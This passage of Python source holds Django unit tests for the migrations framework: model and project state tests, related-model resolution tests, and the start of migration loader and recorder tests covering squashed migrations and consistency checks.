        project_state.apps  # Fill the apps cached property
        other_state = project_state.clone()
        self.assertEqual(project_state, project_state)
        self.assertEqual(project_state, other_state)
        self.assertIs(project_state != project_state, False)
        self.assertIs(project_state != other_state, False)
        self.assertNotEqual(project_state.apps, other_state.apps)

        # Make a very small change (max_len 99) and see if that affects it
        project_state = ProjectState()
        project_state.add_model(ModelState(
            "migrations",
            "Tag",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=99)),
                ("hidden", models.BooleanField()),
            ],
            {},
            None,
        ))
        self.assertNotEqual(project_state, other_state)
        self.assertIs(project_state == other_state, False)

    def test_dangling_references_throw_error(self):
        new_apps = Apps()

        class Author(models.Model):
            name = models.TextField()

            class Meta:
                app_label = "migrations"
                apps = new_apps

        class Publisher(models.Model):
            name = models.TextField()

            class Meta:
                app_label = "migrations"
                apps = new_apps

        class Book(models.Model):
            author = models.ForeignKey(Author, models.CASCADE)
            publisher = models.ForeignKey(Publisher, models.CASCADE)

            class Meta:
                app_label = "migrations"
                apps = new_apps

        class Magazine(models.Model):
            authors = models.ManyToManyField(Author)

            class Meta:
                app_label = "migrations"
                apps = new_apps

        # Make a valid ProjectState and render it
        project_state = ProjectState()
        project_state.add_model(ModelState.from_model(Author))
        project_state.add_model(ModelState.from_model(Publisher))
        project_state.add_model(ModelState.from_model(Book))
        project_state.add_model(ModelState.from_model(Magazine))
        self.assertEqual(len(project_state.apps.get_models()), 4)

        # now make an invalid one with a ForeignKey
        project_state = ProjectState()
        project_state.add_model(ModelState.from_model(Book))
        msg = (
            "The field migrations.Book.author was declared with a lazy reference "
            "to 'migrations.author', but app 'migrations' doesn't provide model 'author'.\n"
            "The field migrations.Book.publisher was declared with a lazy reference "
            "to 'migrations.publisher', but app 'migrations' doesn't provide model 'publisher'."
        )
        with self.assertRaisesMessage(ValueError, msg):
            project_state.apps

        # And another with ManyToManyField.
        project_state = ProjectState()
        project_state.add_model(ModelState.from_model(Magazine))
        msg = (
            "The field migrations.Magazine.authors was declared with a lazy reference "
            "to 'migrations.author\', but app 'migrations' doesn't provide model 'author'.\n"
            "The field migrations.Magazine_authors.author was declared with a lazy reference "
            "to \'migrations.author\', but app 'migrations' doesn't provide model 'author'."
        )
        with self.assertRaisesMessage(ValueError, msg):
            project_state.apps

        # And now with multiple models and multiple fields.
        project_state.add_model(ModelState.from_model(Book))
        msg = (
            "The field migrations.Book.author was declared with a lazy reference "
            "to 'migrations.author', but app 'migrations' doesn't provide model 'author'.\n"
            "The field migrations.Book.publisher was declared with a lazy reference "
            "to 'migrations.publisher', but app 'migrations' doesn't provide model 'publisher'.\n"
            "The field migrations.Magazine.authors was declared with a lazy reference "
            "to 'migrations.author', but app 'migrations' doesn't provide model 'author'.\n"
            "The field migrations.Magazine_authors.author was declared with a lazy reference "
            "to 'migrations.author', but app 'migrations' doesn't provide model 'author'."
        )
        with self.assertRaisesMessage(ValueError, msg):
            project_state.apps

    def test_real_apps(self):
        """
        Tests that including real apps can resolve dangling FK errors.
        This test relies on the fact that contenttypes is always loaded.
        """
        new_apps = Apps()

        class TestModel(models.Model):
            ct = models.ForeignKey("contenttypes.ContentType", models.CASCADE)

            class Meta:
                app_label = "migrations"
                apps = new_apps

        # If we just stick it into an empty state it should fail
        project_state = ProjectState()
        project_state.add_model(ModelState.from_model(TestModel))
        with self.assertRaises(ValueError):
            project_state.apps

        # If we include the real app it should succeed
        project_state = ProjectState(real_apps=["contenttypes"])
        project_state.add_model(ModelState.from_model(TestModel))
        rendered_state = project_state.apps
        self.assertEqual(
            len([x for x in rendered_state.get_models() if x._meta.app_label == "migrations"]),
            1,
        )

    def test_ignore_order_wrt(self):
        """
        Makes sure ProjectState doesn't include OrderWrt fields when
        making from existing models.
        """
        new_apps = Apps()

        class Author(models.Model):
            name = models.TextField()

            class Meta:
                app_label = "migrations"
                apps = new_apps

        class Book(models.Model):
            author = models.ForeignKey(Author, models.CASCADE)

            class Meta:
                app_label = "migrations"
                apps = new_apps
                order_with_respect_to = "author"

        # Make a valid ProjectState and render it
        project_state = ProjectState()
        project_state.add_model(ModelState.from_model(Author))
        project_state.add_model(ModelState.from_model(Book))
        self.assertEqual(
            [name for name, field in project_state.models["migrations", "book"].fields],
            ["id", "author"],
        )

    def test_manager_refer_correct_model_version(self):
        """
        #24147 - Tests that managers refer to the correct version of a
        historical model
        """
        project_state = ProjectState()
        project_state.add_model(ModelState(
            app_label="migrations",
            name="Tag",
            fields=[
                ("id", models.AutoField(primary_key=True)),
                ("hidden", models.BooleanField()),
            ],
            managers=[
                ('food_mgr', FoodManager('a', 'b')),
                ('food_qs', FoodQuerySet.as_manager()),
            ]
        ))

        old_model = project_state.apps.get_model('migrations', 'tag')

        new_state = project_state.clone()
        operation = RemoveField("tag", "hidden")
        operation.state_forwards("migrations", new_state)

        new_model = new_state.apps.get_model('migrations', 'tag')

        self.assertIsNot(old_model, new_model)
        self.assertIs(old_model, old_model.food_mgr.model)
        self.assertIs(old_model, old_model.food_qs.model)
        self.assertIs(new_model, new_model.food_mgr.model)
        self.assertIs(new_model, new_model.food_qs.model)
        self.assertIsNot(old_model.food_mgr, new_model.food_mgr)
        self.assertIsNot(old_model.food_qs, new_model.food_qs)
        self.assertIsNot(old_model.food_mgr.model, new_model.food_mgr.model)
        self.assertIsNot(old_model.food_qs.model, new_model.food_qs.model)

    def test_choices_iterator(self):
        """
        #24483 - ProjectState.from_apps should not destructively consume
        Field.choices iterators.
        """
        new_apps = Apps(["migrations"])
        choices = [('a', 'A'), ('b', 'B')]

        class Author(models.Model):
            name = models.CharField(max_length=255)
            choice = models.CharField(max_length=255, choices=iter(choices))

            class Meta:
                app_label = "migrations"
                apps = new_apps

        ProjectState.from_apps(new_apps)
        choices_field = Author._meta.get_field('choice')
        self.assertEqual(list(choices_field.choices), choices)


class ModelStateTests(SimpleTestCase):
    def test_custom_model_base(self):
        state = ModelState.from_model(ModelWithCustomBase)
        self.assertEqual(state.bases, (models.Model,))

    def test_bound_field_sanity_check(self):
        field = models.CharField(max_length=1)
        field.model = models.Model
        with self.assertRaisesMessage(ValueError, 'ModelState.fields cannot be bound to a model - "field" is.'):
            ModelState('app', 'Model', [('field', field)])

    def test_sanity_check_to(self):
        field = models.ForeignKey(UnicodeModel, models.CASCADE)
        with self.assertRaisesMessage(
            ValueError,
            'ModelState.fields cannot refer to a model class - "field.to" does. '
            'Use a string reference instead.'
        ):
            ModelState('app', 'Model', [('field', field)])

    def test_sanity_check_through(self):
        field = models.ManyToManyField('UnicodeModel')
        field.remote_field.through = UnicodeModel
        with self.assertRaisesMessage(
            ValueError,
            'ModelState.fields cannot refer to a model class - "field.through" does. '
            'Use a string reference instead.'
        ):
            ModelState('app', 'Model', [('field', field)])

    def test_sanity_index_name(self):
        field = models.IntegerField()
        options = {'indexes': [models.Index(fields=['field'])]}
        msg = "Indexes passed to ModelState require a name attribute. <Index: fields='field'> doesn't have one."
        with self.assertRaisesMessage(ValueError, msg):
            ModelState('app', 'Model', [('field', field)], options=options)

    def test_fields_immutability(self):
        """
        Tests that rendering a model state doesn't alter its internal fields.
        """
        apps = Apps()
        field = models.CharField(max_length=1)
        state = ModelState('app', 'Model', [('name', field)])
        Model = state.render(apps)
        self.assertNotEqual(Model._meta.get_field('name'), field)

    def test_repr(self):
        field = models.CharField(max_length=1)
        state = ModelState('app', 'Model', [('name', field)], bases=['app.A', 'app.B', 'app.C'])
        self.assertEqual(repr(state), "<ModelState: 'app.Model'>")

        project_state = ProjectState()
        project_state.add_model(state)
        with self.assertRaisesMessage(InvalidBasesError, "Cannot resolve bases for [<ModelState: 'app.Model'>]"):
            project_state.apps

    @override_settings(TEST_SWAPPABLE_MODEL='migrations.SomeFakeModel')
    def test_create_swappable(self):
        """
        Tests making a ProjectState from an Apps with a swappable model
        """
        new_apps = Apps(['migrations'])

        class Author(models.Model):
            name = models.CharField(max_length=255)
            bio = models.TextField()
            age = models.IntegerField(blank=True, null=True)

            class Meta:
                app_label = 'migrations'
                apps = new_apps
                swappable = 'TEST_SWAPPABLE_MODEL'

        author_state = ModelState.from_model(Author)
        self.assertEqual(author_state.app_label, 'migrations')
        self.assertEqual(author_state.name, 'Author')
        self.assertEqual([x for x, y in author_state.fields], ['id', 'name', 'bio', 'age'])
        self.assertEqual(author_state.fields[1][1].max_length, 255)
        self.assertIs(author_state.fields[2][1].null, False)
        self.assertIs(author_state.fields[3][1].null, True)
        self.assertEqual(author_state.options, {'swappable': 'TEST_SWAPPABLE_MODEL', 'indexes': []})
        self.assertEqual(author_state.bases, (models.Model, ))
        self.assertEqual(author_state.managers, [])

    @override_settings(TEST_SWAPPABLE_MODEL='migrations.SomeFakeModel')
    def test_custom_manager_swappable(self):
        """
        Tests making a ProjectState from unused models with custom managers
        """
        new_apps = Apps(['migrations'])

        class Food(models.Model):

            food_mgr = FoodManager('a', 'b')
            food_qs = FoodQuerySet.as_manager()
            food_no_mgr = NoMigrationFoodManager('x', 'y')

            class Meta:
                app_label = "migrations"
                apps = new_apps
                swappable = 'TEST_SWAPPABLE_MODEL'

        food_state = ModelState.from_model(Food)

        # The default manager is used in migrations
        self.assertEqual([name for name, mgr in food_state.managers], ['food_mgr'])
        self.assertEqual(food_state.managers[0][1].args, ('a', 'b', 1, 2))

    @isolate_apps('migrations', 'django.contrib.contenttypes')
    def test_order_with_respect_to_private_field(self):
        class PrivateFieldModel(models.Model):
            content_type = models.ForeignKey('contenttypes.ContentType', models.CASCADE)
            object_id = models.PositiveIntegerField()
            private = GenericForeignKey()

            class Meta:
                order_with_respect_to = 'private'

        state = ModelState.from_model(PrivateFieldModel)
        self.assertNotIn('order_with_respect_to', state.options)


class RelatedModelsTests(SimpleTestCase):

    def setUp(self):
        self.apps = Apps(['migrations.related_models_app'])

    def create_model(self, name, foreign_keys=[], bases=(), abstract=False, proxy=False):
        test_name = 'related_models_app'
        assert not (abstract and proxy)
        meta_contents = {
            'abstract': abstract,
            'app_label': test_name,
            'apps': self.apps,
            'proxy': proxy,
        }
        meta = type(str("Meta"), tuple(), meta_contents)
        if not bases:
            bases = (models.Model,)
        body = {
            'Meta': meta,
            '__module__': "__fake__",
        }
        fname_base = fname = '%s_%%d' % name.lower()
        for i, fk in enumerate(foreign_keys, 1):
            fname = fname_base % i
            body[fname] = fk
        return type(name, bases, body)

    def assertRelated(self, model, needle):
        self.assertEqual(
            get_related_models_recursive(model),
            {(n._meta.app_label, n._meta.model_name) for n in needle},
        )

    def test_unrelated(self):
        A = self.create_model("A")
        B = self.create_model("B")
        self.assertRelated(A, [])
        self.assertRelated(B, [])

    def test_direct_fk(self):
        A = self.create_model("A", foreign_keys=[models.ForeignKey('B', models.CASCADE)])
        B = self.create_model("B")
        self.assertRelated(A, [B])
        self.assertRelated(B, [A])

    def test_direct_hidden_fk(self):
        A = self.create_model("A", foreign_keys=[models.ForeignKey('B', models.CASCADE, related_name='+')])
        B = self.create_model("B")
        self.assertRelated(A, [B])
        self.assertRelated(B, [A])

    def test_fk_through_proxy(self):
        A = self.create_model("A")
        B = self.create_model("B", bases=(A,), proxy=True)
        C = self.create_model("C", bases=(B,), proxy=True)
        D = self.create_model("D", foreign_keys=[models.ForeignKey('C', models.CASCADE)])
        self.assertRelated(A, [B, C, D])
        self.assertRelated(B, [A, C, D])
        self.assertRelated(C, [A, B, D])
        self.assertRelated(D, [A, B, C])

    def test_nested_fk(self):
        A = self.create_model("A", foreign_keys=[models.ForeignKey('B', models.CASCADE)])
        B = self.create_model("B", foreign_keys=[models.ForeignKey('C', models.CASCADE)])
        C = self.create_model("C")
        self.assertRelated(A, [B, C])
        self.assertRelated(B, [A, C])
        self.assertRelated(C, [A, B])

    def test_two_sided(self):
        A = self.create_model("A", foreign_keys=[models.ForeignKey('B', models.CASCADE)])
        B = self.create_model("B", foreign_keys=[models.ForeignKey('A', models.CASCADE)])
        self.assertRelated(A, [B])
        self.assertRelated(B, [A])

    def test_circle(self):
        A = self.create_model("A", foreign_keys=[models.ForeignKey('B', models.CASCADE)])
        B = self.create_model("B", foreign_keys=[models.ForeignKey('C', models.CASCADE)])
        C = self.create_model("C", foreign_keys=[models.ForeignKey('A', models.CASCADE)])
        self.assertRelated(A, [B, C])
        self.assertRelated(B, [A, C])
        self.assertRelated(C, [A, B])

    def test_base(self):
        A = self.create_model("A")
        B = self.create_model("B", bases=(A,))
        self.assertRelated(A, [B])
        self.assertRelated(B, [A])

    def test_nested_base(self):
        A = self.create_model("A")
        B = self.create_model("B", bases=(A,))
        C = self.create_model("C", bases=(B,))
        self.assertRelated(A, [B, C])
        self.assertRelated(B, [A, C])
        self.assertRelated(C, [A, B])

    def test_multiple_bases(self):
        A = self.create_model("A")
        B = self.create_model("B")
        C = self.create_model("C", bases=(A, B,))
        self.assertRelated(A, [B, C])
        self.assertRelated(B, [A, C])
        self.assertRelated(C, [A, B])

    def test_multiple_nested_bases(self):
        A = self.create_model("A")
        B = self.create_model("B")
        C = self.create_model("C", bases=(A, B,))
        D = self.create_model("D")
        E = self.create_model("E", bases=(D,))
        F = self.create_model("F", bases=(C, E,))
        Y = self.create_model("Y")
        Z = self.create_model("Z", bases=(Y,))
        self.assertRelated(A, [B, C, D, E, F])
        self.assertRelated(B, [A, C, D, E, F])
        self.assertRelated(C, [A, B, D, E, F])
        self.assertRelated(D, [A, B, C, E, F])
        self.assertRelated(E, [A, B, C, D, F])
        self.assertRelated(F, [A, B, C, D, E])
        self.assertRelated(Y, [Z])
        self.assertRelated(Z, [Y])

    def test_base_to_base_fk(self):
        A = self.create_model("A", foreign_keys=[models.ForeignKey('Y', models.CASCADE)])
        B = self.create_model("B", bases=(A,))
        Y = self.create_model("Y")
        Z = self.create_model("Z", bases=(Y,))
        self.assertRelated(A, [B, Y, Z])
        self.assertRelated(B, [A, Y, Z])
        self.assertRelated(Y, [A, B, Z])
        self.assertRelated(Z, [A, B, Y])

    def test_base_to_subclass_fk(self):
        A = self.create_model("A", foreign_keys=[models.ForeignKey('Z', models.CASCADE)])
        B = self.create_model("B", bases=(A,))
        Y = self.create_model("Y")
        Z = self.create_model("Z", bases=(Y,))
        self.assertRelated(A, [B, Y, Z])
        self.assertRelated(B, [A, Y, Z])
        self.assertRelated(Y, [A, B, Z])
        self.assertRelated(Z, [A, B, Y])

    def test_direct_m2m(self):
        A = self.create_model("A", foreign_keys=[models.ManyToManyField('B')])
        B = self.create_model("B")
        self.assertRelated(A, [A.a_1.rel.through, B])
        self.assertRelated(B, [A, A.a_1.rel.through])

    def test_direct_m2m_self(self):
        A = self.create_model("A", foreign_keys=[models.ManyToManyField('A')])
        self.assertRelated(A, [A.a_1.rel.through])

    def test_intermediate_m2m_self(self):
        A = self.create_model("A", foreign_keys=[models.ManyToManyField('A', through='T')])
        T = self.create_model("T", foreign_keys=[
            models.ForeignKey('A', models.CASCADE),
            models.ForeignKey('A', models.CASCADE),
        ])
        self.assertRelated(A, [T])
        self.assertRelated(T, [A])

    def test_intermediate_m2m(self):
        A = self.create_model("A", foreign_keys=[models.ManyToManyField('B', through='T')])
        B = self.create_model("B")
        T = self.create_model("T", foreign_keys=[
            models.ForeignKey('A', models.CASCADE),
            models.ForeignKey('B', models.CASCADE),
        ])
        self.assertRelated(A, [B, T])
        self.assertRelated(B, [A, T])
        self.assertRelated(T, [A, B])

    def test_intermediate_m2m_extern_fk(self):
        A = self.create_model("A", foreign_keys=[models.ManyToManyField('B', through='T')])
        B = self.create_model("B")
        Z = self.create_model("Z")
        T = self.create_model("T", foreign_keys=[
            models.ForeignKey('A', models.CASCADE),
            models.ForeignKey('B', models.CASCADE),
            models.ForeignKey('Z', models.CASCADE),
        ])
        self.assertRelated(A, [B, T, Z])
        self.assertRelated(B, [A, T, Z])
        self.assertRelated(T, [A, B, Z])
        self.assertRelated(Z, [A, B, T])

    def test_intermediate_m2m_base(self):
        A = self.create_model("A", foreign_keys=[models.ManyToManyField('B', through='T')])
        B = self.create_model("B")
        S = self.create_model("S")
        T = self.create_model("T", foreign_keys=[
            models.ForeignKey('A', models.CASCADE),
            models.ForeignKey('B', models.CASCADE),
        ], bases=(S,))
        self.assertRelated(A, [B, S, T])
        self.assertRelated(B, [A, S, T])
        self.assertRelated(S, [A, B, T])
        self.assertRelated(T, [A, B, S])

    def test_generic_fk(self):
        A = self.create_model("A", foreign_keys=[
            models.ForeignKey('B', models.CASCADE),
            GenericForeignKey(),
        ])
        B = self.create_model("B", foreign_keys=[
            models.ForeignKey('C', models.CASCADE),
        ])
        self.assertRelated(A, [B])
        self.assertRelated(B, [A])

    def test_abstract_base(self):
        A = self.create_model("A", abstract=True)
        B = self.create_model("B", bases=(A,))
        self.assertRelated(A, [B])
        self.assertRelated(B, [])

    def test_nested_abstract_base(self):
        A = self.create_model("A", abstract=True)
        B = self.create_model("B", bases=(A,), abstract=True)
        C = self.create_model("C", bases=(B,))
        self.assertRelated(A, [B, C])
        self.assertRelated(B, [C])
        self.assertRelated(C, [])

    def test_proxy_base(self):
        A = self.create_model("A")
        B = self.create_model("B", bases=(A,), proxy=True)
        self.assertRelated(A, [B])
        self.assertRelated(B, [])

    def test_nested_proxy_base(self):
        A = self.create_model("A")
        B = self.create_model("B", bases=(A,), proxy=True)
        C = self.create_model("C", bases=(B,), proxy=True)
        self.assertRelated(A, [B, C])
        self.assertRelated(B, [C])
        self.assertRelated(C, [])

    def test_multiple_mixed_bases(self):
        A = self.create_model("A", abstract=True)
        M = self.create_model("M")
        P = self.create_model("P")
        Q = self.create_model("Q", bases=(P,), proxy=True)
        Z = self.create_model("Z", bases=(A, M, Q))
        # M has a pointer O2O field p_ptr to P
        self.assertRelated(A, [M, P, Q, Z])
        self.assertRelated(M, [P, Q, Z])
        self.assertRelated(P, [M, Q, Z])
        self.assertRelated(Q, [M, P, Z])
        self.assertRelated(Z, [M, P, Q])






from __future__ import unicode_literals

from unittest import skipIf

from django.db import connection, connections
from django.db.migrations.exceptions import (
    AmbiguityError, InconsistentMigrationHistory, MigrationSchemaMissing,
    NodeNotFoundError,
)
from django.db.migrations.loader import MigrationLoader
from django.db.migrations.recorder import MigrationRecorder
from django.test import TestCase, mock, modify_settings, override_settings
from django.utils import six


class RecorderTests(TestCase):
    """
    Tests recording migrations as applied or not.
    """

    def test_apply(self):
        """
        Tests marking migrations as applied/unapplied.
        """
        recorder = MigrationRecorder(connection)
        self.assertEqual(
            set((x, y) for (x, y) in recorder.applied_migrations() if x == "myapp"),
            set(),
        )
        recorder.record_applied("myapp", "0432_ponies")
        self.assertEqual(
            set((x, y) for (x, y) in recorder.applied_migrations() if x == "myapp"),
            {("myapp", "0432_ponies")},
        )
        # That should not affect records of another database
        recorder_other = MigrationRecorder(connections['other'])
        self.assertEqual(
            set((x, y) for (x, y) in recorder_other.applied_migrations() if x == "myapp"),
            set(),
        )
        recorder.record_unapplied("myapp", "0432_ponies")
        self.assertEqual(
            set((x, y) for (x, y) in recorder.applied_migrations() if x == "myapp"),
            set(),
        )


class LoaderTests(TestCase):
    """
    Tests the disk and database loader, and running through migrations
    in memory.
    """

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations"})
    @modify_settings(INSTALLED_APPS={'append': 'basic'})
    def test_load(self):
        """
        Makes sure the loader can load the migrations for the test apps,
        and then render them out to a new Apps.
        """
        # Load and test the plan
        migration_loader = MigrationLoader(connection)
        self.assertEqual(
            migration_loader.graph.forwards_plan(("migrations", "0002_second")),
            [
                ("migrations", "0001_initial"),
                ("migrations", "0002_second"),
            ],
        )
        # Now render it out!
        project_state = migration_loader.project_state(("migrations", "0002_second"))
        self.assertEqual(len(project_state.models), 2)

        author_state = project_state.models["migrations", "author"]
        self.assertEqual(
            [x for x, y in author_state.fields],
            ["id", "name", "slug", "age", "rating"]
        )

        book_state = project_state.models["migrations", "book"]
        self.assertEqual(
            [x for x, y in book_state.fields],
            ["id", "author"]
        )

        # Ensure we've included unmigrated apps in there too
        self.assertIn("basic", project_state.real_apps)

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_unmigdep"})
    def test_load_unmigrated_dependency(self):
        """
        Makes sure the loader can load migrations with a dependency on an unmigrated app.
        """
        # Load and test the plan
        migration_loader = MigrationLoader(connection)
        self.assertEqual(
            migration_loader.graph.forwards_plan(("migrations", "0001_initial")),
            [
                ('contenttypes', '0001_initial'),
                ('auth', '0001_initial'),
                ("migrations", "0001_initial"),
            ],
        )
        # Now render it out!
        project_state = migration_loader.project_state(("migrations", "0001_initial"))
        self.assertEqual(len([m for a, m in project_state.models if a == "migrations"]), 1)

        book_state = project_state.models["migrations", "book"]
        self.assertEqual(
            [x for x, y in book_state.fields],
            ["id", "user"]
        )

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_run_before"})
    def test_run_before(self):
        """
        Makes sure the loader uses Migration.run_before.
        """
        # Load and test the plan
        migration_loader = MigrationLoader(connection)
        self.assertEqual(
            migration_loader.graph.forwards_plan(("migrations", "0002_second")),
            [
                ("migrations", "0001_initial"),
                ("migrations", "0003_third"),
                ("migrations", "0002_second"),
            ],
        )

    @override_settings(MIGRATION_MODULES={
        "migrations": "migrations.test_migrations_first",
        "migrations2": "migrations2.test_migrations_2_first",
    })
    @modify_settings(INSTALLED_APPS={'append': 'migrations2'})
    def test_first(self):
        """
        Makes sure the '__first__' migrations build correctly.
        """
        migration_loader = MigrationLoader(connection)
        self.assertEqual(
            migration_loader.graph.forwards_plan(("migrations", "second")),
            [
                ("migrations", "thefirst"),
                ("migrations2", "0001_initial"),
                ("migrations2", "0002_second"),
                ("migrations", "second"),
            ],
        )

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations"})
    def test_name_match(self):
        "Tests prefix name matching"
        migration_loader = MigrationLoader(connection)
        self.assertEqual(
            migration_loader.get_migration_by_prefix("migrations", "0001").name,
            "0001_initial",
        )
        with self.assertRaises(AmbiguityError):
            migration_loader.get_migration_by_prefix("migrations", "0")
        with self.assertRaises(KeyError):
            migration_loader.get_migration_by_prefix("migrations", "blarg")

    def test_load_import_error(self):
        with override_settings(MIGRATION_MODULES={"migrations": "import_error_package"}):
            with self.assertRaises(ImportError):
                MigrationLoader(connection)

    def test_load_module_file(self):
        with override_settings(MIGRATION_MODULES={"migrations": "migrations.faulty_migrations.file"}):
            loader = MigrationLoader(connection)
            self.assertIn(
                "migrations", loader.unmigrated_apps,
                "App with migrations module file not in unmigrated apps."
            )

    @skipIf(six.PY2, "PY2 doesn't load empty dirs.")
    def test_load_empty_dir(self):
        with override_settings(MIGRATION_MODULES={"migrations": "migrations.faulty_migrations.namespace"}):
            loader = MigrationLoader(connection)
            self.assertIn(
                "migrations", loader.unmigrated_apps,
                "App missing __init__.py in migrations module not in unmigrated apps."
            )

    @override_settings(
        INSTALLED_APPS=['migrations.migrations_test_apps.migrated_app'],
    )
    def test_marked_as_migrated(self):
        """
        Undefined MIGRATION_MODULES implies default migration module.
        """
        migration_loader = MigrationLoader(connection)
        self.assertEqual(migration_loader.migrated_apps, {'migrated_app'})
        self.assertEqual(migration_loader.unmigrated_apps, set())

    @override_settings(
        INSTALLED_APPS=['migrations.migrations_test_apps.migrated_app'],
        MIGRATION_MODULES={"migrated_app": None},
    )
    def test_marked_as_unmigrated(self):
        """
        MIGRATION_MODULES allows disabling of migrations for a particular app.
        """
        migration_loader = MigrationLoader(connection)
        self.assertEqual(migration_loader.migrated_apps, set())
        self.assertEqual(migration_loader.unmigrated_apps, {'migrated_app'})

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_squashed"})
    def test_loading_squashed(self):
        "Tests loading a squashed migration"
        migration_loader = MigrationLoader(connection)
        recorder = MigrationRecorder(connection)
        self.addCleanup(recorder.flush)
        # Loading with nothing applied should just give us the one node
        self.assertEqual(
            len([x for x in migration_loader.graph.nodes if x[0] == "migrations"]),
            1,
        )
        # However, fake-apply one migration and it should now use the old two
        recorder.record_applied("migrations", "0001_initial")
        migration_loader.build_graph()
        self.assertEqual(
            len([x for x in migration_loader.graph.nodes if x[0] == "migrations"]),
            2,
        )

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_squashed_complex"})
    def test_loading_squashed_complex(self):
        "Tests loading a complex set of squashed migrations"

        loader = MigrationLoader(connection)
        recorder = MigrationRecorder(connection)
        self.addCleanup(recorder.flush)

        def num_nodes():
            plan = set(loader.graph.forwards_plan(('migrations', '7_auto')))
            return len(plan - loader.applied_migrations)

        # Empty database: use squashed migration
        loader.build_graph()
        self.assertEqual(num_nodes(), 5)

        # Starting at 1 or 2 should use the squashed migration too
        recorder.record_applied("migrations", "1_auto")
        loader.build_graph()
        self.assertEqual(num_nodes(), 4)

        recorder.record_applied("migrations", "2_auto")
        loader.build_graph()
        self.assertEqual(num_nodes(), 3)

        # However, starting at 3 to 5 cannot use the squashed migration
        recorder.record_applied("migrations", "3_auto")
        loader.build_graph()
        self.assertEqual(num_nodes(), 4)

        recorder.record_applied("migrations", "4_auto")
        loader.build_graph()
        self.assertEqual(num_nodes(), 3)

        # Starting at 5 to 7 we are passed the squashed migrations
        recorder.record_applied("migrations", "5_auto")
        loader.build_graph()
        self.assertEqual(num_nodes(), 2)

        recorder.record_applied("migrations", "6_auto")
        loader.build_graph()
        self.assertEqual(num_nodes(), 1)

        recorder.record_applied("migrations", "7_auto")
        loader.build_graph()
        self.assertEqual(num_nodes(), 0)

    @override_settings(MIGRATION_MODULES={
        "app1": "migrations.test_migrations_squashed_complex_multi_apps.app1",
        "app2": "migrations.test_migrations_squashed_complex_multi_apps.app2",
    })
    @modify_settings(INSTALLED_APPS={'append': [
        "migrations.test_migrations_squashed_complex_multi_apps.app1",
        "migrations.test_migrations_squashed_complex_multi_apps.app2",
    ]})
    def test_loading_squashed_complex_multi_apps(self):
        loader = MigrationLoader(connection)
        loader.build_graph()

        plan = set(loader.graph.forwards_plan(('app1', '4_auto')))
        expected_plan = {
            ('app1', '1_auto'),
            ('app2', '1_squashed_2'),
            ('app1', '2_squashed_3'),
            ('app1', '4_auto'),
        }
        self.assertEqual(plan, expected_plan)

    @override_settings(MIGRATION_MODULES={
        "app1": "migrations.test_migrations_squashed_complex_multi_apps.app1",
        "app2": "migrations.test_migrations_squashed_complex_multi_apps.app2",
    })
    @modify_settings(INSTALLED_APPS={'append': [
        "migrations.test_migrations_squashed_complex_multi_apps.app1",
        "migrations.test_migrations_squashed_complex_multi_apps.app2",
    ]})
    def test_loading_squashed_complex_multi_apps_partially_applied(self):
        loader = MigrationLoader(connection)
        recorder = MigrationRecorder(connection)
        recorder.record_applied('app1', '1_auto')
        recorder.record_applied('app1', '2_auto')
        loader.build_graph()

        plan = set(loader.graph.forwards_plan(('app1', '4_auto')))
        plan = plan - loader.applied_migrations
        expected_plan = {
            ('app2', '1_squashed_2'),
            ('app1', '3_auto'),
            ('app1', '4_auto'),
        }

        self.assertEqual(plan, expected_plan)

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations_squashed_erroneous"})
    def test_loading_squashed_erroneous(self):
        "Tests loading a complex but erroneous set of squashed migrations"

        loader = MigrationLoader(connection)
        recorder = MigrationRecorder(connection)
        self.addCleanup(recorder.flush)

        def num_nodes():
            plan = set(loader.graph.forwards_plan(('migrations', '7_auto')))
            return len(plan - loader.applied_migrations)

        # Empty database: use squashed migration
        loader.build_graph()
        self.assertEqual(num_nodes(), 5)

        # Starting at 1 or 2 should use the squashed migration too
        recorder.record_applied("migrations", "1_auto")
        loader.build_graph()
        self.assertEqual(num_nodes(), 4)

        recorder.record_applied("migrations", "2_auto")
        loader.build_graph()
        self.assertEqual(num_nodes(), 3)

        # However, starting at 3 or 4 we'd need to use non-existing migrations
        msg = ("Migration migrations.6_auto depends on nonexistent node ('migrations', '5_auto'). "
               "Django tried to replace migration migrations.5_auto with any of "
               "[migrations.3_squashed_5] but wasn't able to because some of the replaced "
               "migrations are already applied.")

        recorder.record_applied("migrations", "3_auto")
        with self.assertRaisesMessage(NodeNotFoundError, msg):
            loader.build_graph()

        recorder.record_applied("migrations", "4_auto")
        with self.assertRaisesMessage(NodeNotFoundError, msg):
            loader.build_graph()

        # Starting at 5 to 7 we are passed the squashed migrations
        recorder.record_applied("migrations", "5_auto")
        loader.build_graph()
        self.assertEqual(num_nodes(), 2)

        recorder.record_applied("migrations", "6_auto")
        loader.build_graph()
        self.assertEqual(num_nodes(), 1)

        recorder.record_applied("migrations", "7_auto")
        loader.build_graph()
        self.assertEqual(num_nodes(), 0)

    @override_settings(
        MIGRATION_MODULES={'migrations': 'migrations.test_migrations'},
        INSTALLED_APPS=['migrations'],
    )
    def test_check_consistent_history(self):
        loader = MigrationLoader(connection=None)
        loader.check_consistent_history(connection)
        recorder = MigrationRecorder(connection)
        recorder.record_applied('migrations', '0002_second')
        msg = "Migration migrations.0002_second is applied before its dependency migrations.0001_initial"
        with self.assertRaisesMessage(InconsistentMigrationHistory, msg):
            loader.check_consistent_history(connection)

    @override_settings(
        MIGRATION_MODULES={'migrations': 'migrations.test_migrations_squashed_extra'},
        INSTALLED_APPS=['migrations'],
    )
    def test_check_consistent_history_squashed(self):
        """
        MigrationLoader.check_consistent_history() should ignore unapplied
        squashed migrations that have all of their `replaces` applied.
        """
        loader = MigrationLoader(connection=None)
        recorder = MigrationRecorder(connection)
        recorder.record_applied('migrations', '0001_initial')
        recorder.record_applied('migrations', '0002_second')
        loader.check_consistent_history(connection)
        recorder.record_applied('migrations', '0003_third')
        loader.check_consistent_history(connection)

    @override_settings(MIGRATION_MODULES={
        "app1": "migrations.test_migrations_squashed_ref_squashed.app1",
        "app2": "migrations.test_migrations_squashed_ref_squashed.app2",
    })
    @modify_settings(INSTALLED_APPS={'append': [
